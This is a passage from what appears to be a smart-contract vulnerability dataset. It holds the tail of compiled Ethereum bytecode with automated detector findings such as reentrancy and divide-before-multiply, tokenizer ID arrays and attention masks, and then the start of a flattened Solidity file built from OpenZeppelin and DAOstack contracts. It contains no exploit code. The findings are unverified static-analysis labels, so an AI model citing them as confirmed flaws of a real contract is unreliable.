8152600401610933906154b5565b6001600160a01b037f00000000000000000000000070574c98f9c05ff3f8015bf7ebe8bc85714d1aae16635dbe47e8336040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b1580156138e857600080fd5b505afa1580156138fc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613920919061533e565b61396c5760405162461bcd60e51b815260206004820152601a60248201527f6e6f742d612d77686974652d6c69737465642d616464726573730000000000006044820152606401610933565b6113cd81614759565b6001600160a01b0382166000908152600c6020526040902060040154818110156139d15760405162461bcd60e51b815260206004820152600d60248201526c0d8dee6e65ae8dede5ad0d2ced609b1b6044820152606401610933565b6001600160a01b0383166000908152600c6020526040812060050180548492906139fc9084906155c4565b90915550506001600160a01b0383166000908152600c602052604081206004018054849290613a2c90849061561b565b9250508190555081600e6000828254613a45919061561b565b9091555060009050613a8f613a58612e4e565b613a64612710866155fc565b613a6e91906155dc565b6001600160a01b0386166000908152600c6020526040902060070154613b75565b6001600160a01b0385166000908152600c6020526040812060070180549293508392909190613abf90849061561b565b9250508190555080600d6000828254613ad8919061561b565b909155505050505050565b6001600160a01b0381166000908152600c6020526040812060040154600654610100900460ff1615613b16579050611f6b565b6000612710613b23612e4e565b6001600160a01b0386166000908152600c6020526040902060070154613b4991906155fc565b613b5391906155dc565b9050808211613b63576000613b6d565b613b6d818361561b565b949350505050565b6000818310613b84578161136d565b5090919050565b600654600090610100900460ff1615613ba657506000611f6b565b6000613bb0612e4e565b6001600160a01b0384166000908152600c60205260408120600701549192509061271090613bdf9084906155fc565b613be991906155dc565b6001600160a01b0385166000908152600c6020526040902060040154909150818110613c1b5760009350505050611f6b565b600061271084600d54613c2e91906155fc565b613c3891906155dc565b905080600e5410613c50576000945050505050611f6b565b6000613c5c838561561b565b9050613c84613c72613c6c6127d6565b83613b75565b600e54613c7f908561561b565b613b75565b6001600160a01b0388166000908152600c602052604090206002810154600390910154919250613cc891613cb8904361561b565b613cc291906155fc565b82613b75565b979650505050505050565b6040516001600160a01b0383166024820152604481018290526123cf90849063a9059cbb60e01b906064015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b03199093169290921790915261481c565b6040516001600160a01b0380851660248301528316604482015260648101829052613d6e9085906323b872dd60e01b90608401613cff565b50505050565b336000908152600c602052604081206001015461271090613d9590846155fc565b613d9f91906155dc565b905080156111ae57613db0816148ee565b90506111ae335b8261498f565b6001600160a01b038316613e1f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610933565b6001600160a01b038216613e805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610933565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101611f44565b6001600160a01b038316613f3d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610933565b6001600160a01b038216613f9f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610933565b6001600160a01b038316600090815260208190526040902054818110156140175760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610933565b614021828261561b565b6001600160a01b0380861660009081526020819052604080822093909355908516815290812080548492906140579084906155c4565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516140a391815260200190565b60405180910390a350505050565b600b546140c6576140c181614759565b613339565b806141005760405162461bcd60e51b815260206004820152600a602482015269073686172652d69732d360b41b6044820152606401610933565b6000612710600b548361411391906155fc565b61411d91906155dc565b9050600061412b828461561b565b9050600061413882614a6e565b90506000614145826148ee565b9050614150836136be565b614159826136be565b101561419657600b5461416e9061271061561b565b61417a612710836155fc565b61418491906155dc565b9450614190818661561b565b93508092505b6141a1335b84614ad6565b6141b733600a546001600160a01b031686613ed9565b6141c082614c25565b50604080518681526020810184905233917ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b568910161103e565b60007f000000000000000000000000000000000000000000000000000000000000000146141561424a57507f342573ab966459ccd3eb0c480385015777744e17c7d04da7df80a2ed57ed940a610cdf565b604080517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6020808301919091527f47c6dc36be8527befce6bd9568be7ccad51919757c1ec560bf54a594e37f25f3828401527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608301524660808301523060a0808401919091528351808403909101815260c090920190925280519101206125ff565b60065460ff166143385760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b6044820152606401610933565b600654610100900460ff16156143605760405162461bcd60e51b8152600401610933906154b5565b6006805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b60006143b5826148ee565b90506143c082614c5f565b6143c933613db7565b604080518281526020810184905233917f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a1591016120c5565b60065460ff16156144245760405162461bcd60e51b8152600401610933906154e1565b6006805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25861438d3390565b6001600160a01b03811660009081526005602052604090208054600181018255905b50919050565b60006120eb61448e6141f9565b8360405161190160f01b6020820152602281018390526042810182905260009060620160405160208183030381529060405280519060200120905092915050565b60007f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a082111561454c5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610933565b8360ff16601b148061456157508360ff16601c145b6145b85760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610933565b6040805160008082526020820180845288905260ff871692820192909252606081018590526080810184905260019060a0016020604051602081039080840390855afa15801561460c573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661466f5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610933565b95945050505050565b600654610100900460ff16156146a05760405162461bcd60e51b8152600401610933906154b5565b6006805461ffff19166101011790557f28b4c24cb1012c094cd2f59f98e89d791973295f8fda6eaa118022d6d318960a61438d3390565b600654610100900460ff166147275760405162461bcd60e51b81526020600482015260166024820152752830bab9b0b136329d103737ba1039b43aba3237bbb760511b6044820152606401610933565b6006805461ff00191690557fece7583a70a505ef0e36d4dec768f5ae597713e09c26011022599ee01abdabfc3361438d565b806147935760405162461bcd60e51b815260206004820152600a602482015269073686172652d69732d360b41b6044820152606401610933565b600061479e82614a6e565b905060006147ab826148ee565b90506147b6836136be565b6147bf826136be565b10156147c9578092505b6147d23361419b565b6147db82614c25565b50604080518481526020810184905233917ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b568910160405180910390a2505050565b6000614871826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316614c949092919063ffffffff16565b8051909150156123cf578080602001905181019061488f919061533e565b6123cf5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610933565b60008161492b5760405162461bcd60e51b815260206004820152600b60248201526a0616d6f756e742d69732d360ac1b6044820152606401610933565b60006149356125cd565b61494784670de0b6b3a76400006155fc565b61495191906155dc565b9050670de0b6b3a76400006149646125cd565b61496e90836155fc565b61497891906155dc565b8311614984578061136d565b61136d8160016155c4565b6001600160a01b0382166149e55760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610933565b80600260008282546149f791906155c4565b90915550506001600160a01b03821660009081526020819052604081208054839290614a249084906155c4565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600080670de0b6b3a7640000614a826125cd565b614a8c90856155fc565b614a9691906155dc565b90506000614aa26127d6565b905080821115614ac957614abe614ab9828461561b565b614ca3565b614ac66127d6565b90505b81811061136d5781613b6d565b6001600160a01b038216614b365760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610933565b6001600160a01b03821660009081526020819052604090205481811015614baa5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610933565b614bb4828261561b565b6001600160a01b03841660009081526020819052604081209190915560028054849290614be290849061561b565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001611f44565b6000614c5b7f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec76001600160a01b03163384613cd3565b5090565b6133397f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec76001600160a01b0316333084613d36565b6060613b6d8484600085614e82565b60008080808481805b601054811015614e7857600c600060108381548110614cdb57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902060040154965086614d0f57614e66565b86831115614d1b578692505b614d236127d6565b945060108181548110614d4657634e487b7160e01b600052603260045260246000fd5b600091825260209091200154604051632e1a7d4d60e01b8152600481018590526001600160a01b0390911690632e1a7d4d90602401600060405180830381600087803b158015614d9557600080fd5b505af1925050508015614da6575060015b614daf57614e66565b614db76127d6565b9550614dc3858761561b565b935083600c600060108481548110614deb57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400181206004018054909190614e2290849061561b565b9250508190555083600e6000828254614e3b919061561b565b90915550614e4b905084836155c4565b9150878210614e5957614e78565b614e63828961561b565b92505b80614e7081615693565b915050614cac565b5050505050505050565b606082471015614ee35760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610933565b843b614f315760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610933565b600080866001600160a01b03168587604051614f4d91906153ff565b60006040518083038185875af1925050503d8060008114614f8a576040519150601f19603f3d011682016040523d82523d6000602084013e614f8f565b606091505b5091509150613cc882828660608315614fa957508161136d565b825115614fb95782518084602001fd5b8160405162461bcd60e51b8152600401610933919061541b565b828054828255906000526020600020908101928215615028579160200282015b8281111561502857825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190614ff3565b50614c5b9291505b80821115614c5b5760008155600101615030565b600082601f830112615054578081fd5b81356020615069615064836155a0565b61556f565b80838252828201915082860187848660051b8901011115615088578586fd5b855b858110156150af57813561509d816156da565b8452928401929084019060010161508a565b5090979650505050505050565b803560ff81168114611f6b57600080fd5b6000602082840312156150de578081fd5b813561136d816156da565b6000602082840312156150fa578081fd5b815161136d816156da565b60008060408385031215615117578081fd5b8235615122816156da565b91506020830135615132816156da565b809150509250929050565b600080600060608486031215615151578081fd5b833561515c816156da565b9250602084013561516c816156da565b929592945050506040919091013590565b600080600080600080600060e0888a031215615197578283fd5b87356151a2816156da565b965060208801356151b2816156da565b955060408801359450606088013593506151ce608089016150bc565b925060a0880135915060c0880135905092959891949750929550565b600080604083850312156151fc578182fd5b8235615207816156da565b946020939093013593505050565b6000806000806080858703121561522a578384fd5b8435615235816156da565b966020860135965060408601359560600135945092505050565b600060208284031215615260578081fd5b813567ffffffffffffffff811115615276578182fd5b613b6d84828501615044565b60008060408385031215615294578182fd5b823567ffffffffffffffff808211156152ab578384fd5b6152b786838701615044565b93506020915081850135818111156152cd578384fd5b85019050601f810186136152df578283fd5b80356152ed615064826155a0565b80828252848201915084840189868560051b870101111561530c578687fd5b8694505b8385101561532e578035835260019490940193918501918501615310565b5080955050505050509250929050565b60006020828403121561534f578081fd5b8151801515811461136d578182fd5b60006020828403121561536f578081fd5b5035919050565b600060208284031215615387578081fd5b5051919050565b6000806000606084860312156153a2578081fd5b505081359360208301359350604090920135919050565b600080600080600060a086880312156153d0578283fd5b85359450602086013593506153e7604087016150bc565b94979396509394606081013594506080013592915050565b60008251615411818460208701615632565b9190910192915050565b600060208252825180602084015261543a816040850160208701615632565b601f01601f19169190910160400192915050565b60208082526016908201527531b0b63632b916b4b996b737ba16b096b5b2b2b832b960511b604082015260600190565b6020808252601a908201527f63616c6c65722d69732d6e6f742d7468652d676f7665726e6f72000000000000604082015260600190565b6020808252601290820152712830bab9b0b136329d1039b43aba3237bbb760711b604082015260600190565b60208082526010908201526f14185d5cd8589b194e881c185d5cd95960821b604082015260600190565b60208082526013908201527273747261746567792d6e6f742d61637469766560681b604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b604051601f8201601f1916810167ffffffffffffffff81118282101715615598576155986156c4565b604052919050565b600067ffffffffffffffff8211156155ba576155ba6156c4565b5060051b60200190565b600082198211156155d7576155d76156ae565b500190565b6000826155f757634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615615616576156166156ae565b500290565b60008282101561562d5761562d6156ae565b500390565b60005b8381101561564d578181015183820152602001615635565b83811115613d6e5750506000910152565b600181811c9082168061567257607f821691505b6020821081141561447b57634e487b7160e01b600052602260045260246000fd5b60006000198214156156a7576156a76156ae565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461333957600080fdfea2646970667358221220b01d3bba8045e263abe5ce0c0b3b2a654617b52af0f4fef9e2d6bd2560d42ea264736f6c63430008030033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2278, 2692, 2497, 14142, 2278, 2575, 22907, 2575, 2063, 2575, 2581, 6679, 2683, 22203, 22907, 10354, 19961, 27531, 2581, 2509, 2050, 2575, 21486, 17134, 2497, 20952, 2546, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3206, 11336, 2008, 7126, 4652, 2128, 4765, 17884, 4455, 2000, 1037, 3853, 1012, 1008, 1008, 22490, 2075, 2013, 1036, 2128, 4765, 5521, 5666, 18405, 1036, 2097, 2191, 1996, 1063, 2512, 28029, 6494, 3372, 1065, 16913, 18095, 1008, 2800, 1010, 2029, 2064, 2022, 4162, 2000, 4972, 2000, 2191, 2469, 2045, 2024, 2053, 9089, 2098, 1008, 1006, 2128, 4765, 17884, 1007, 4455, 2000, 2068, 1012, 1008, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,817
0x95c0d9dcea1e243ed696f34cac5e6559c3c128a3
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @daostack/infra/contracts/Reputation.sol pragma solidity ^0.5.4; /** * @title Reputation system * @dev A DAO has Reputation System which allows peers to rate other peers in order to build trust . * A reputation is use to assign influence measure to a DAO'S peers. * Reputation is similar to regular tokens but with one crucial difference: It is non-transferable. * The Reputation contract maintain a map of address to reputation value. * It provides an onlyOwner functions to mint and burn reputation _to (or _from) a specific address. */ contract Reputation is Ownable { uint8 public decimals = 18; //Number of decimals of the smallest unit // Event indicating minting of reputation to an address. event Mint(address indexed _to, uint256 _amount); // Event indicating burning of reputation for an address. event Burn(address indexed _from, uint256 _amount); /// @dev `Checkpoint` is the structure that attaches a block number to a /// given value, the block number attached is the one that last changed the /// value struct Checkpoint { // `fromBlock` is the block number that the value was generated from uint128 fromBlock; // `value` is the amount of reputation at a specific block number uint128 value; } // `balances` is the map that tracks the balance of each address, in this // contract when the balance changes the block number that the change // occurred is also included in the map mapping (address => Checkpoint[]) balances; // Tracks the history of the `totalSupply` of the reputation Checkpoint[] totalSupplyHistory; /// @notice Constructor to create a Reputation constructor( ) public { } /// @dev This function makes it easy to get the total number of reputation /// @return The total number of reputation function totalSupply() public view returns (uint256) { return totalSupplyAt(block.number); } //////////////// // Query balance and totalSupply in History //////////////// /** * @dev return the reputation amount of a given owner * @param _owner an address of the owner which we want to get his reputation */ function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOfAt(_owner, block.number); } /// @dev Queries the balance of `_owner` at a specific `_blockNumber` /// @param _owner The address from which the balance will be retrieved /// @param _blockNumber The block number when the balance is queried /// @return The balance at `_blockNumber` function balanceOfAt(address _owner, uint256 _blockNumber) public view returns (uint256) { if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { return 0; // This will return the expected balance during normal situations } else { return getValueAt(balances[_owner], _blockNumber); } } /// @notice Total amount of reputation at a specific `_blockNumber`. /// @param _blockNumber The block number when the totalSupply is queried /// @return The total amount of reputation at `_blockNumber` function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) { if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { return 0; // This will return the expected totalSupply during normal situations } else { return getValueAt(totalSupplyHistory, _blockNumber); } } /// @notice Generates `_amount` reputation that are assigned to `_owner` /// @param _user The address that will be assigned the new reputation /// @param _amount The quantity of reputation generated /// @return True if the reputation are generated correctly function mint(address _user, uint256 _amount) public onlyOwner returns (bool) { uint256 curTotalSupply = totalSupply(); require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow uint256 previousBalanceTo = balanceOf(_user); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); updateValueAtNow(balances[_user], previousBalanceTo + _amount); emit Mint(_user, _amount); return true; } /// @notice Burns `_amount` reputation from `_owner` /// @param _user The address that will lose the reputation /// @param _amount The quantity of reputation to burn /// @return True if the reputation are burned correctly function burn(address _user, uint256 _amount) public onlyOwner returns (bool) { uint256 curTotalSupply = totalSupply(); uint256 amountBurned = _amount; uint256 previousBalanceFrom = balanceOf(_user); if (previousBalanceFrom < amountBurned) { amountBurned = previousBalanceFrom; } updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned); updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned); emit Burn(_user, amountBurned); return true; } //////////////// // Internal helper functions to query and set a value in a snapshot array //////////////// /// @dev `getValueAt` retrieves the number of reputation at a given block number /// @param checkpoints The history of values being queried /// @param _block The block number to retrieve the value at /// @return The number of reputation being queried function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) { if (checkpoints.length == 0) { return 0; } // Shortcut for the actual value if (_block >= checkpoints[checkpoints.length-1].fromBlock) { return checkpoints[checkpoints.length-1].value; } if (_block < checkpoints[0].fromBlock) { return 0; } // Binary search of the value in the array uint256 min = 0; uint256 max = checkpoints.length-1; while (max > min) { uint256 mid = (max + min + 1) / 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } /// @dev `updateValueAtNow` used to update the `balances` map and the /// `totalSupplyHistory` /// @param checkpoints The history of data being updated /// @param _value The new number of reputation function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value) internal { require(uint128(_value) == _value); //check value is in the 128 bits bounderies if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } } // File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol pragma solidity ^0.5.0; /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Burnable.sol pragma solidity ^0.5.0; /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract ERC20Burnable is ERC20 { /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param from address The address which you want to send tokens from * @param value uint256 The amount of token to be burned */ function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } // File: @daostack/arc/contracts/controller/DAOToken.sol pragma solidity ^0.5.4; /** * @title DAOToken, base on 